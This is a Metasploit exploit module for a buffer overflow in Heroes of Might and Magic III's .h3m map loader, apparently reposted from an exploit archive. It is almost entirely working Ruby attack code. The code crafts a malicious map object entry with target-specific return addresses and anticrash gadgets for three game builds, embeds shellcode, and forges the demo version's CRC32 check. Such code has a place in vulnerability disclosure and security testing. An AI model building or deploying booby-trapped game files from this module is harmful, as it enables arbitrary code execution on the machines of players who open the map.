Heroes Of Might And Magic III .h3m Map File Buffer Overflow
Posted on 04 August 2015
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'zlib' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Heroes of Might and Magic III .h3m Map file Buffer Overflow', 'Description' => %q{ This module embeds an exploit into an ucompressed map file (.h3m) for Heroes of Might and Magic III. Once the map is started in-game, a buffer overflow occuring when loading object sprite names leads to shellcode execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pierre Lindblad', # Vulnerability discovery 'John AAkerblom' # Vulnerability discovery, PoC and Metasploit module ], 'References' => [ [ 'EDB', '37716' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Targets' => [ [ 'H3 Complete 4.0.0.0 [Heroes3.exe 78956DFAB3EB8DDF29F6A84CF7AD01EE]', { # Two "Anticrash"-gadgets are needed or the game will crash before ret # # Anticrash1, needs to pass the following code down to final JMP: # MOV EAX, DWORD PTR DS : [ESI + 4] ; [Anticrash1 + 4] # XOR EBX, EBX # CMP EAX, EBX # JE SHORT <crash spot> ; JMP to crash if EAX is 0 # MOV CL, BYTE PTR DS : [EAX - 1] # CMP CL, BL # JE SHORT <crash spot> ; JMP to crash if the byte before [EAX] is 0 # CMP CL, 0FF # JE SHORT <crash spot> ; JMP to crash if the byte before [EAX] is 0xFF # CMP EDI, EBX # JNE <good spot> ; JMP to good spot. Always occurs if we get this far # # Summary: An address which when incremented by 4 and then dereferenced # leads to for example a string which is preceeded neither by a 0x00 or 0xFF 'Anticrash1' => 0x004497D4, # Anticrash2, needs to return out of the following call (tricky): # # MOV EAX, DWORD PTR DS : [ECX] ; [Anticrash2] # CALL DWORD PTR DS : [EAX + 4] ; [[Anticrash2] + 4] # # Summary: An address which when dereferenced leads to an address that # when incremented by 4 and then deferenced leads to a function returning # without accessing any registers/memory that would cause a crash. 'Anticrash2' => 0x006A6430, 'Ret' => 0x004EFF87, # CALL ESP Heroes3.exe 'Padding' => 121 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip } ], [ 'HD Mod 3.808 build 9 [Heroes3 HD.exe 56614D31CC6F077C2D511E6AF5619280]', { 'Anticrash1' => 0x00456A48, 'Anticrash2' => 0x006A6830, 'Ret' => 0x00580C0F, # CALL ESP Heroes3 HD.exe 'Padding' => 121 # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip } ], [ 'Heroes III Demo 1.0.0.0 [h3demo.exe 522B6F45F534058D02A561838559B1F4]', { # The two anticrash gadgets are accessed in reverse order for this target, # meaning that the documentation above for Anticrash1 applies to Anticrash2 # here. However, Anticrash1 here is accessed differently than the other targets. # Anticrash1, needs to pass the following code: # CMP BYTE PTR SS:[EBP+5C], 72 ; [Anticrash1 + 0x5C] # JNE 00591F37 # MOV EAX,DWORD PTR SS:[EBP+38] ; [Anticrash1 + 0x38] 'Anticrash1' => 0x00580C0F, # Coincidentally the Ret value from HD Mod target # Anticrash2, see documentation for Anticrash1 (not 2) in H3 Complete 4.0.0.0 target 'Anticrash2' => 0x005CE200, 'Ret' => 0x0043EAB1, # CALL ESP h3demo.exe 'Padding' => 109, # Amount of bytes from exploit's 7 initial 0x00 bytes and saved eip 'CRC32' => 0xFEEFB9EB } ] ], 'Privileged' => false, 'DisclosureDate' => 'Jul 29 2015', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'If file exists, exploit will be embedded' ' into it. If not, a new default h3m file where' ' it will be embedded will be created.', 'sploit.h3m' ]) ], self.class) end def exploit buf = '' # Load h3m into buffer from uncompressed .h3m on disk/default data begin buf << read_file(datastore['FILENAME']) print_status('File ' + datastore['FILENAME'] + ' exists, will embed exploit if possible') rescue Errno::ENOENT print_warning('File ' + datastore['FILENAME'] + ' does not exist, creating new file from ' 'default .h3m data') buf << make_default_h3m end # Find the object attributes array in the file by searching for a sprite name that occurs # as the first game object in all maps. objects_pos = buf.index('AVWmrnd0.def') if objects_pos.nil? print_error('Failed to find game object section in file ' + datastore['FILENAME'] + '. Make sure this file is an uncompressed .h3m (and has not yet had exploit embedded)') return end # Entries in the objects array start with a string size followed by game sprite name string # Move back 4 bytes from the first sprite name to get to the start of the objects array objects_pos -= 4 print_good('Found object attributes array in file at decimal offset ' + objects_pos.to_s) # Construct a malicious object entry with a big size, where the sprite name starts # with a NULL terminator and 6 extra 0x00 bytes. The first 2 of those 6 can be anything, # but certain values for the last 4 will cause the CALL-ESP gadget address to be overwritten. # After the 7 0x00 bytes comes 121 bytes of random data and then the CALL ESP-gadget for # overwriting the saved eip. Finally two "anticrash gadgets" that are used by the game before # it returns to the CALL ESP-gadget are required for the game not to crash before returning. size = 7 + target['Padding'] + 4 + 4 + 4 + payload.encoded.size exp = '' exp << [size].pack('V') exp << "x00" * 7 # The first byte terminates string, next 2 dont matter, last 4 need to be 0 exp << rand_text(target['Padding']) exp << [target.ret].pack('V') exp << [target['Anticrash1']].pack('V') exp << [target['Anticrash2']].pack('V') exp << payload.encoded # Embed malicious object entry. It is okay if we overwrite the rest of the file and extend buf from = objects_pos to = from + size buf[from..to] = exp print_good('Embedded exploit between decimal file offsets ' + from.to_s + ' and ' + to.to_s) # Demo version has a crc32 check to disallow other maps than the one it comes with. if target['CRC32'] buf = forge_crc32(buf, target['CRC32']) if Zlib.crc32(buf) == target['CRC32'] print_good('Forged CRC32 to 0x%08X by adding 4 bytes at end of file' % target['CRC32']) else print_error('Failed to forge CRC32') return end end # Write the uncompressed exploit .h3m (the game can load uncompressed .h3ms) file_create(buf) end def substring_pos(string, substring) string.enum_for(:scan, substring).map { $~.offset(0)[0] } end # # Loads a file # def read_file(fname) buf = '' ::File.open(fname, 'rb') do |f| buf << f.read end buf end # # Returns data for a minimimum required S size h3m map containing 2 players # def make_default_h3m buf = '' # Set map specifications to 36x36 (0x24000000) map with 2 players, with # default/no settings for name, description, victory condition etc buf << "x0ex00x00x00x01x24x00x00x00x00x00x00x00x00x00x00" buf << "x00x00x01x01x01x00x01x00x00x00xffx01x01x00x01x00" buf << "x00x00xffx00x00x00x00x00x00x00xffx00x00x00x00x8c" buf << "x00x00xffx00x00x00x00xb1x00x00xffx00x00x00x00x00" buf << "x00x00xffx00x00x00x00x7fx00x00xffx00x00x00x00x48" buf << "x00x00xffxffxffx00" buf << "xFF" * 16 buf << "x00" * 35 # Each tile is 7 bytes, fill map with empty dirt tiles (0x00) buf << "x00" * (36 * 36 * 7) # Set object attribute array count to 1 buf << "x01x00x00x00" # Size of first sprite name, this will be overwritten buf << "x12x34x56x78" # Standard name for first object, which will be searched for buf << 'AVWmrnd0.def' buf end # # Forge crc32 by adding 4 bytes at the end of data # http://blog.stalkr.net/2011/03/crc-32-forging.html # def forge_crc32(data, wanted_crc) crc32_reverse = [ 0x00000000, 0xDB710641, 0x6D930AC3, 0xB6E20C82, 0xDB261586, 0x005713C7, 0xB6B51F45, 0x6DC41904, 0x6D3D2D4D, 0xB64C2B0C, 0x00AE278E, 0xDBDF21CF, 0xB61B38CB, 0x6D6A3E8A, 0xDB883208, 0x00F93449, 0xDA7A5A9A, 0x010B5CDB, 0xB7E95059, 0x6C985618, 0x015C4F1C, 0xDA2D495D, 0x6CCF45DF, 0xB7BE439E, 0xB74777D7, 0x6C367196, 0xDAD47D14, 0x01A57B55, 0x6C616251, 0xB7106410, 0x01F26892, 0xDA836ED3, 0x6F85B375, 0xB4F4B534, 0x0216B9B6, 0xD967BFF7, 0xB4A3A6F3, 0x6FD2A0B2, 0xD930AC30, 0x0241AA71, 0x02B89E38, 0xD9C99879, 0x6F2B94FB, 0xB45A92BA, 0xD99E8BBE, 0x02EF8DFF, 0xB40D817D, 0x6F7C873C, 0xB5FFE9EF, 0x6E8EEFAE, 0xD86CE32C, 0x031DE56D, 0x6ED9FC69, 0xB5A8FA28, 0x034AF6AA, 0xD83BF0EB, 0xD8C2C4A2, 0x03B3C2E3, 0xB551CE61, 0x6E20C820, 0x03E4D124, 0xD895D765, 0x6E77DBE7, 0xB506DDA6, 0xDF0B66EA, 0x047A60AB, 0xB2986C29, 0x69E96A68, 0x042D736C, 0xDF5C752D, 0x69BE79AF, 0xB2CF7FEE, 0xB2364BA7, 0x69474DE6, 0xDFA54164, 0x04D44725, 0x69105E21, 0xB2615860, 0x048354E2, 0xDFF252A3, 0x05713C70, 0xDE003A31, 0x68E236B3, 0xB39330F2, 0xDE5729F6, 0x05262FB7, 0xB3C42335, 0x68B52574, 0x684C113D, 0xB33D177C, 0x05DF1BFE, 0xDEAE1DBF, 0xB36A04BB, 0x681B02FA, 0xDEF90E78, 0x05880839, 0xB08ED59F, 0x6BFFD3DE, 0xDD1DDF5C, 0x066CD91D, 0x6BA8C019, 0xB0D9C658, 0x063BCADA, 0xDD4ACC9B, 0xDDB3F8D2, 0x06C2FE93, 0xB020F211, 0x6B51F450, 0x0695ED54, 0xDDE4EB15, 0x6B06E797, 0xB077E1D6, 0x6AF48F05, 0xB1858944, 0x076785C6, 0xDC168387, 0xB1D29A83, 0x6AA39CC2, 0xDC419040, 0x07309601, 0x07C9A248, 0xDCB8A409, 0x6A5AA88B, 0xB12BAECA, 0xDCEFB7CE, 0x079EB18F, 0xB17CBD0D, 0x6A0DBB4C, 0x6567CB95, 0xBE16CDD4, 0x08F4C156, 0xD385C717, 0xBE41DE13, 0x6530D852, 0xD3D2D4D0, 0x08A3D291, 0x085AE6D8, 0xD32BE099, 0x65C9EC1B, 0xBEB8EA5A, 0xD37CF35E, 0x080DF51F, 0xBEEFF99D, 0x659EFFDC, 0xBF1D910F, 0x646C974E, 0xD28E9BCC, 0x09FF9D8D, 0x643B8489, 0xBF4A82C8, 0x09A88E4A, 0xD2D9880B, 0xD220BC42, 0x0951BA03, 0xBFB3B681, 0x64C2B0C0, 0x0906A9C4, 0xD277AF85, 0x6495A307, 0xBFE4A546, 0x0AE278E0, 0xD1937EA1, 0x67717223, 0xBC007462, 0xD1C46D66, 0x0AB56B27, 0xBC5767A5, 0x672661E4, 0x67DF55AD, 0xBCAE53EC, 0x0A4C5F6E, 0xD13D592F, 0xBCF9402B, 0x6788466A, 0xD16A4AE8, 0x0A1B4CA9, 0xD098227A, 0x0BE9243B, 0xBD0B28B9, 0x667A2EF8, 0x0BBE37FC, 0xD0CF31BD, 0x662D3D3F, 0xBD5C3B7E, 0xBDA50F37, 0x66D40976, 0xD03605F4, 0x0B4703B5, 0x66831AB1, 0xBDF21CF0, 0x0B101072, 0xD0611633, 0xBA6CAD7F, 0x611DAB3E, 0xD7FFA7BC, 0x0C8EA1FD, 0x614AB8F9, 0xBA3BBEB8, 0x0CD9B23A, 0xD7A8B47B, 0xD7518032, 0x0C208673, 0xBAC28AF1, 0x61B38CB0, 0x0C7795B4, 0xD70693F5, 0x61E49F77, 0xBA959936, 0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67, 0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1, 0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A, 0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC, 0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288, 0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E, 0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5, 0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43, 0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812, 0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94, 0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F, 0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9 ] # forward calculation of CRC up to pos, sets current forward CRC state fwd_crc = 0xffffffff data.each_byte do |c| fwd_crc = (fwd_crc >> 8) ^ Zlib.crc_table[(fwd_crc ^ c) & 0xff] end # backward calculation of CRC up to pos, sets wanted backward CRC state bkd_crc = wanted_crc ^ 0xffffffff # deduce the 4 bytes we need to insert [fwd_crc].pack('<L').each_byte.reverse_each do |c| bkd_crc = ((bkd_crc << 8) & 0xffffffff) ^ crc32_reverse[bkd_crc >> 24] ^ c end res = data + [bkd_crc].pack('<L') res end end
